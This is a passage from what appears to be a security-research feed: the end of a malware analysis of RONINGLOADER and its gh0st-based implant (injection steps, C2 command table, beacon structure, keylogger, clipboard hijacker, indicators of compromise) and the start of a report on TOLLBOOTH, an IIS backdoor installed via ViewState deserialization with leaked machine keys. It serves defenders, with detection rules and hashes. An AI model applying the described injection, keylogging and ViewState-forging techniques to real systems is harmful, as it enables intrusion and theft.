<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image18.png" alt="Start both TrustedInstaller and MicrosoftEdgeElevationService services" title="Start both TrustedInstaller and MicrosoftEdgeElevationService services" /></p>
<p>Next, the malware establishes persistence by creating a batch file with a random name within the <code>C:\Windows\</code> directory (e.g., <code>C:\Windows\KPeYvogsPm.bat</code>). The script inside this file runs a continuous loop with the following logic:</p>
<ul>
<li>It checks if the captured PID of the trusted service (e.g., PID <code>4016</code> for <code>TrustedInstaller.exe</code>) is still running</li>
<li>If the service is not running, the script restarts the previously created malicious service (<code>MicrosoftSoftware2ShadowCop4yProvider</code>) to ensure the malware's components remain active</li>
<li>If the service process is running, the script sleeps for 10 seconds before checking again</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image4.png" alt="Batch file content" title="Batch file content" /></p>
<p>Finally, the malware reads the contents of <code>C:\ProgramData\Roning\trustinstaller.bin</code>. Using the PID of the trusted service it acquired earlier, it injects this payload into the target process (<code>TrustedInstaller.exe</code> or <code>elevation_service.exe</code>). The injection method is straightforward: it performs a remote virtual allocation with <code>VirtualAllocEx</code>, writes to it with <code>WriteProcessMemory</code>, and then creates a remote thread to execute it with <code>CreateRemoteThread</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image21.png" alt="Remote process injection" title="Remote process injection" /></p>
<h3>Stage 3 - trustinstaller.bin</h3>
<p>The third stage, contained within <code>trustinstaller.bin</code>, is responsible for injecting the final payload into a legitimate process. It starts by enumerating running processes and searching for a target by matching process names against a hardcoded list of potential processes.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image8.png" alt="List of process options to inject the payload into" title="List of process options to inject the payload into" /></p>
<p>When found, it will inject the shellcode into <code>C:\ProgramData\Roning\Enpug.bin</code>, which is the final payload. It will create a section with <code>NtCreateSection</code>, map a view of it in the remote process with <code>NtMapViewOfSection</code>, and write the payload to it. Then it will create a remote thread with <code>CreateRemoteThread</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image17.png" alt="Maps section view in the remote process" title="Maps section view in the remote process" /></p>
<h3>Stage 4 - Final Payload</h3>
<p>The <a href="https://www.virustotal.com/gui/file/3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33/detection">final payload</a> has not undergone major changes since <a href="https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/">Sophos</a>’s discovery of a DragonBreath campaign in 2023 and <a href="https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/">QianXin’s report</a> in mid-2022. It is still a modified version of the open-source <a href="https://github.com/sin5678/gh0st">gh0st</a> RAT.</p>
<p>In the more recent campaigns, a mutex of value <code>Global\DHGGlobalMutex</code> is created at the very beginning of execution. Outside the main C2 communication loop, dead code is observed creating a mutex named <code>MyUniqueMutexName</code> and immediately destroying it afterward.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image19.png" alt="Mutex value MyUniqueMutexName within dead code" title="Mutex value MyUniqueMutexName within dead code" /></p>
<p>The C2 domain and port remain hardcoded but are now XOR-encrypted. The C2 channel operates over raw TCP sockets with messages encrypted in both directions.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image9.png" alt="C2 domain and port XOR decoded" title="C2 domain and port XOR decoded" /></p>
<h4>Victim Beacon Data</h4>
<p>The implant checks in with the C2 server and repeatedly beacons to the C2 at random intervals, implemented through <code>Sleep(&lt;random_amount&gt; * 1000)</code>. Below is the structure for the data that the implant returns to the C2 server during the beaconing interval:</p>
<pre><code class="language-C">struct BeaconData {
    // +0x000
    uint32_t message_type;           // Example Beacon ID - 0xC8 (200)
    
    // +0x004
    uint32_t local_ip;               // inet_addr() of victim's IP
    
    // +0x008
    char hostname[50];               // Computer name or registry &quot;Remark&quot;
    
    // +0x03A
    char windows_version[?];         // OS version info
    
    // +0x0D8
    char cpu_name[64];               // Processor name
    
    // +0x118
    uint32_t entry_rdx;              
    
    // +0x11C
    char time_value[64];             // Implant installed time or registry &quot;Time&quot; value
    
    // +0x15C
    char victim_tag[39];             // Command 6 buffer (Custom victim tag)
    
    // +0x183
    uint8_t is_wow64;                // 1 if 32-bit on 64-bit Windows
    
    // +0x184
    char av_processes_found[128];    // Antivirus processes found
    
    // +0x204
    char uptime[12];                 // System uptime

    char padding[52];                 
    
    // +0x244
    char crypto_wallet_track[64];    // &quot;狐狸系列&quot; (MetaMask) or registry &quot;ZU&quot; (crypto related tracking)
    
    // +0x284
    uint8_t is_admin;                // 1 if running with admin rights
    
    // +0x285
    char data[?];             
    
    // +0x305
    uint8_t telegram_installed;      // 1 if Telegram installed
    
    // +0x306
    uint8_t telegram_running;        // 1 if Telegram.exe running
    
    // +0x307
    // (padding to 0x308 bytes)
};
</code></pre>
<h4>C2 commands</h4>
<p>Request messages sent from the C2 server to the implant follow the structure:</p>
<pre><code class="language-c">struct C2_to_implant_msg {
    uint32_t total_message_len;
    uint32_t RC4_key;
    char encrypted_command_id;
    uint8_t encrypted_command_args;
};
</code></pre>
<p>The implant decrypts C2 messages through the following formula:</p>
<p><code>RC4_decrypt(ASCII(decimal(RC4_key)), encrypted_command_id || command)</code></p>
<p>Below is a list of available commands that, for the most part, remain the same as 2 years ago:</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>0</code></td>
<td align="left"><code>ExitWindowsEx</code> via a supplied <code>EXIT_WINDOWS_FLAGS</code></td>
</tr>
<tr>
<td align="left"><code>1</code></td>
<td align="left">Terminate implant gracefully</td>
</tr>
<tr>
<td align="left"><code>2</code></td>
<td align="left">Set registry key <code>Enable</code> to False to terminate &amp; disable implant persistently</td>
</tr>
<tr>
<td align="left"><code>3</code></td>
<td align="left">Set registry key <code>Remark</code> for custom victim renaming (default value: hostname)</td>
</tr>
<tr>
<td align="left"><code>4</code></td>
<td align="left">Set registry key <code>ZU</code> for MetaMask / crypto-related tagging</td>
</tr>
<tr>
<td align="left"><code>5</code></td>
<td align="left">Clear Windows Event logs (Application, Security, System)</td>
</tr>
<tr>
<td align="left"><code>6</code></td>
<td align="left">Set additional custom tags when client beacons</td>
</tr>
<tr>
<td align="left"><code>7</code></td>
<td align="left">Download and execute file via supplied URL</td>
</tr>
<tr>
<td align="left"><code>9</code></td>
<td align="left"><code>ShellExecute</code> (visible window)</td>
</tr>
<tr>
<td align="left"><code>10</code></td>
<td align="left"><code>ShellExecute</code> (hidden window)</td>
</tr>
<tr>
<td align="left"><code>112</code></td>
<td align="left">Get clipboard data</td>
</tr>
<tr>
<td align="left"><code>113</code></td>
<td align="left">Set clipboard data</td>
</tr>
<tr>
<td align="left"><code>125</code></td>
<td align="left"><code>ShellExecute</code> <code>cmd.exe</code> with command parameters (hidden window)</td>
</tr>
<tr>
<td align="left"><code>126</code></td>
<td align="left">Execute payload by dropping to disk or reflectively load and execute <code>PluginMe</code> export</td>
</tr>
<tr>
<td align="left"><code>128</code></td>
<td align="left">First option - open a new session with a supplied C2 domain, port, and beacon interval. Second option - set registry key <code>CopyC</code> to update C2 domain and port permanently. Stored encrypted via <code>Base64Encode(XOR(C2_domain_and_port, 0x5))</code>.</td>
</tr>
<tr>
<td align="left"><code>241</code></td>
<td align="left">Check if Telegram is installed and/or running</td>
</tr>
<tr>
<td align="left"><code>243</code></td>
<td align="left">Configure Clipboard Hijacker</td>
</tr>
<tr>
<td align="left"><code>101</code>, <code>127</code>, <code>236</code>, <code>[...]</code></td>
<td align="left">Custom shellcode injection into <code>svchost.exe</code> using WTS session token impersonation, falling back to <code>CREATE_SUSPENDED</code> process injection via <code>CreateRemoteThread</code></td>
</tr>
</tbody>
</table>
<blockquote>
<p>Analyst note: There are multiple command IDs that point to the same command. We used an ellipsis to identify when this was observed.</p>
</blockquote>
<h4>System Logger</h4>
<p>In addition to the C2 commands, the implant implements a keystroke, clipboard, and active-window logger. Captured data is written to <code>%ProgramData%\microsoft.dotnet.common.log</code> and can be enabled or disabled via a registry key at <code>HKEY_CURRENT_USER\offlinekey\open</code> (<code>1</code> to enable, <code>0</code> to disable). The log file implements automatic rotation, deleting itself when it exceeds 50 MB to avoid detection through excessive disk usage.</p>
<p>The code snippet below demonstrates the initialization routine that implements log rotation and configures a DirectInput8 interface to acquire the keyboard device for event capture, followed by the keyboard event retrieval logic.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image3.png" alt="Log rotation and keylogger initialization" title="Log rotation and keylogger initialization" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image38.png" alt="Keyboard event retrieval" title="Keyboard event retrieval" /></p>
<p>The malware then enters a monitoring loop to capture three categories of information.</p>
<ul>
<li>First, it monitors the clipboard using <code>OpenClipboard</code> and <code>GetClipboardData</code>, logging any changes to text content with the prefix <code>[剪切板:]</code>.</li>
<li>Second, it tracks window focus changes via <code>GetForegroundWindow</code>, logging the active window title and timestamp with the prefixes <code>[标题:]</code> and <code>[时间:]</code>, respectively, whenever the user switches applications.</li>
<li>Third, it retrieves buffered keyboard events from the <code>DirectInput8</code> device (up to 60 events per poll) and translates them into readable text through a character mapping table, prepending the results with a prefix <code>[内容:]</code>.</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image36.png" alt="Example captured content in microsoft.dotnet.common.log" title="Example captured content in microsoft.dotnet.common.log" /></p>
<h4>Clipboard Hijacker</h4>
<p>The malware also implements a clipboard hijacker that is remotely configured through C2 command ID 243. It monitors clipboard changes and performs search-and-replace operations on captured text, substituting attacker-defined strings with replacement values. Configuration parameters are stored in the registry under <code>HKEY_CURRENT_USER\offlinekey</code> with keys <code>clipboard</code> (enable/disable feature), <code>charac</code> (search string), <code>characLen</code> (search length), and <code>newcharac</code> (replacement string).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image16.png" alt="Clipboard hijacker setup through C2 command" title="Clipboard hijacker setup through C2 command" /></p>
<p>It registers a window class named <code>ClipboardListener_Class_Toggle</code> and creates a hidden window titled <code>ClipboardMonitor</code> to receive clipboard change notifications. The window procedure handles <code>WM_CLIPBOARDUPDATE</code> (<code>0x31D</code>) messages by verifying clipboard sequence numbers with <code>GetClipboardSequenceNumber</code> to detect genuine changes, then invoking the core manipulation routine, which swaps the clipboard content via <code>EmptyClipboard</code> and <code>SetClipboardData</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image30.png" alt="ClipboardMonitor setup, responsible for the actual clipboard swap" title="ClipboardMonitor setup, responsible for the actual clipboard swap" /></p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1569/002/">System Services: Service Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/">Access Token Manipulation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/004/">Impair Defenses: Disable or Modify System Firewall</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/001/">Indicator Removal: Clear Windows Event Logs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1553/006/">Subvert Trust Controls: Code Signing Policy Modification</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System Owner/User Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1518/001/">Software Discovery: Security Software Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1095/">Non-Application Layer Protocol</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
</ul>
<h2>Mitigations</h2>
<h3>Detection</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_clipup_execution.toml">Potential Evasion via ClipUp Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_suspended_process_code_injection.toml">Potential Suspended Process Code Injection</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_memory_write_to_trusted_target_process.toml">Remote Memory Write to Trusted Target Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_process_memory_write_by_low_reputation_module.toml">Remote Process Memory Write by Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_process_memory_write_to_a_non_child_process.toml">Process Memory Write to a Non Child Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_uac_bypass_attempt_via_wow64_logger_dll_side_loading.toml">UAC Bypass Attempt via WOW64 Logger DLL Side-Loading</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_network_connect_api_from_unbacked_memory.toml">Network Connect API from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml">Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify RONINGLOADER and the final implant:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RoningLoader.yar">Windows.Trojan.RoningLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DragonBreath.yar">Windows.Trojan.DragonBreath</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>klklznuah.msi</code></td>
<td align="left">Initial MSI installer</td>
</tr>
<tr>
<td align="left"><code>82794015e2b40cc6e02d3c1d50241465c0cf2c2e4f0a7a2a8f880edaee203724</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Snieoatwtregoable.exe</code></td>
<td align="left">Malicious installer unpacked from initial installer</td>
</tr>
<tr>
<td align="left"><code>c65170be2bf4f0bd71b9044592c063eaa82f3d43fcbd8a81e30a959bcaad8ae5</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Snieoatwtregoable.dll</code></td>
<td align="left">Stage 1 - loader for stage 2</td>
</tr>
<tr>
<td align="left"><code>2515b546125d20013237aeadec5873e6438ada611347035358059a77a32c54f5</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ollama.sys</code></td>
<td align="left">Stage 2 - driver for process termination</td>
</tr>
<tr>
<td align="left"><code>1613a913d0384cbb958e9a8d6b00fffaf77c27d348ebc7886d6c563a6f22f2b7</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>tp.png</code></td>
<td align="left">Stage 2 - encrypted core payload</td>
</tr>
<tr>
<td align="left"><code>395f835731d25803a791db984062dd5cfdcade6f95cc5d0f68d359af32f6258d</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>1.bat</code></td>
<td align="left">Stage 2 - UAC bypass script</td>
</tr>
<tr>
<td align="left"><code>1c1528b546aa29be6614707cbe408cb4b46e8ed05bf3fe6b388b9f22a4ee37e2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>fhq.bat</code></td>
<td align="left">Stage 2 - script to block networking for AV processes</td>
</tr>
<tr>
<td align="left"><code>4d5beb8efd4ade583c8ff730609f142550e8ed14c251bae1097c35a756ed39e6</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>1.dll</code></td>
<td align="left">Stage 2 - AV processes termination</td>
</tr>
<tr>
<td align="left"><code>96f401b80d3319f8285fa2bb7f0d66ca9055d349c044b78c27e339bcfb07cdf0</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>{31351756-3F24-4963-8380-4E7602335AAE}.cip</code></td>
<td align="left">Stage 2 - WDAC policy</td>
</tr>
<tr>
<td align="left"><code>33b494eaaa6d7ed75eec74f8c8c866b6c42f59ca72b8517b3d4752c3313e617c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>goldendays.dll</code></td>
<td align="left">Stage 3 - entry point</td>
</tr>
<tr>
<td align="left"><code>fc63f5dfc93f2358f4cba18cbdf99578fff5dac4cdd2de193a21f6041a0e01bc</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>trustinstaller.bin</code></td>
<td align="left">Stage 3 - loader for <code>Enpug.bin</code></td>
</tr>
<tr>
<td align="left"><code>fd4dd9904549c6655465331921a28330ad2b9ff1c99eb993edf2252001f1d107</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Enpug.bin</code></td>
<td align="left">Stage 3 - loader for final payload</td>
</tr>
<tr>
<td align="left"><code>3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>6uf9i.exe</code></td>
<td align="left">Stage 4 - final payload</td>
</tr>
<tr>
<td align="left"><code>qaqkongtiao[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Stage 4 - final payload C2</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://nsis.sourceforge.io/Main_Page">https://nsis.sourceforge.io/Main_Page</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service">https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service</a></li>
<li><a href="https://github.com/Jemmy1228/HookSigntool">https://github.com/Jemmy1228/HookSigntool</a></li>
<li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a></li>
<li><a href="https://hijacklibs.net/entries/microsoft/built-in/wow64log.html">https://hijacklibs.net/entries/microsoft/built-in/wow64log.html</a></li>
<li><a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function</a></li>
<li><a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html</a></li>
<li><a href="https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43">https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43</a></li>
<li><a href="https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/">https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/</a></li>
<li><a href="https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/">https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/</a></li>
<li><a href="https://github.com/sin5678/gh0st">https://github.com/sin5678/gh0st</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/roningloader/roningloader.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[TOLLBOOTH: What's yours, IIS mine]]></title>
            <link>https://www.elastic.co/fr/security-labs/tollbooth</link>
            <guid>tollbooth</guid>
            <pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3927 abuses publicly disclosed ASP.NET machine keys to compromise IIS servers and deploy TOLLBOOTH SEO cloaking modules globally.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In September 2025, <a href="https://www.cyber.tamus.edu/">Texas A&amp;M University System (TAMUS) Cybersecurity</a>, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell <a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">framework</a>, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.</p>
<p>A similar chain of events was first <a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">reported</a> by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also <a href="https://asec.ahnlab.com/en/87804/">detailed</a> in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&amp;M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with <a href="https://www.validin.com/">Validin</a>, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys</li>
<li>Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware</li>
<li>Threat actors adapted the open source “Hidden” rootkit project to hide their presence</li>
<li>The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities</li>
<li>This campaign included large-scale exploitation across geographies and industry verticals</li>
</ul>
<h2>Campaign Overview</h2>
<h3>Attack vector</h3>
<p>Last month, Elastic Security Labs and Texas A&amp;M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, <code>ValidationKey</code> and <code>DecryptionKey</code>, which are used to secure ASP.NET features such as <code>ViewState</code> and authentication cookies.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image16.png" alt="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" title="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" /></p>
<p><code>ViewState</code> is a mechanism used by <a href="ASP.NET">ASP.NET</a> web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, <code>ViewState</code> allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (<code>__VIEWSTATE</code>) on the page that is serialized and encoded in Base64. This <code>ViewState</code> field is susceptible to <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">deserialization attacks</a>, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.</p>
<p>Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload <a href="https://github.com/pwntester/ysoserial.net">generator</a>. The <code>__VIEWSTATE</code> field contains a URL-encoded and Base64-encoded payload that will perform a <code>whoami</code> and write a file to a directory. With a successful exploitation request, the server will respond with an <code>HTTP/1.1 500 Internal Server Error</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image14.png" alt="Packet capture showing an example of a successful deserialization attack" title="Packet capture showing an example of a successful deserialization attack" /></p>
<h3>Post-compromise activity</h3>
<p>Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image6.png" alt="Elastic Defend alerting showing hands-on post-compromise activity" title="Elastic Defend alerting showing hands-on post-compromise activity" /></p>
<p>With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image13.png" alt="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" title="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" /></p>
<h2>Godzilla EKP analysis</h2>
<p>One of the main tools used by this group is a Godzilla-forked framework called <code>Z-Godzilla_ekp</code> written by <a href="https://github.com/ekkoo-z">ekkoo-z</a>. This tool piggybacks off the previous Godzilla <a href="https://github.com/BeichenDream/Godzilla">project</a> by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:</p>
<ul>
<li>Discovery/enumeration capabilities</li>
<li>Privilege escalation techniques</li>
<li>Command execution/file execution</li>
<li>Shellcode loader, meterpreter, in-memory PE execution</li>
<li>File management, zipping utility</li>
<li>Cred stealing plugin (<code>lemon</code>) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials</li>
<li>Browser password scraping</li>
<li>Port scanning, HTTP proxy configuration, note-taking</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image10.png" alt="Command execution plugin from Z-Godzilla_ekp" title="Command execution plugin from Z-Godzilla_ekp" /></p>
<p>Below is a network traffic example showing the operator traffic to the webshell (<code>error.aspx</code>) using <code>Z-Godzilla_ekp</code>. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image3.png" alt="Example of POST request using Z-Godzilla_ekp" title="Example of POST request using Z-Godzilla_ekp" /></p>
<h2>Rootkit analysis</h2>
<p>The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit <code>HIDDENDRIVER</code> and the userland application <code>HIDDENCLI</code>.</p>
<p>This malicious software is a modified version of the open source rootkit <a href="https://github.com/JKornev/hidden">Hidden</a>, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.</p>
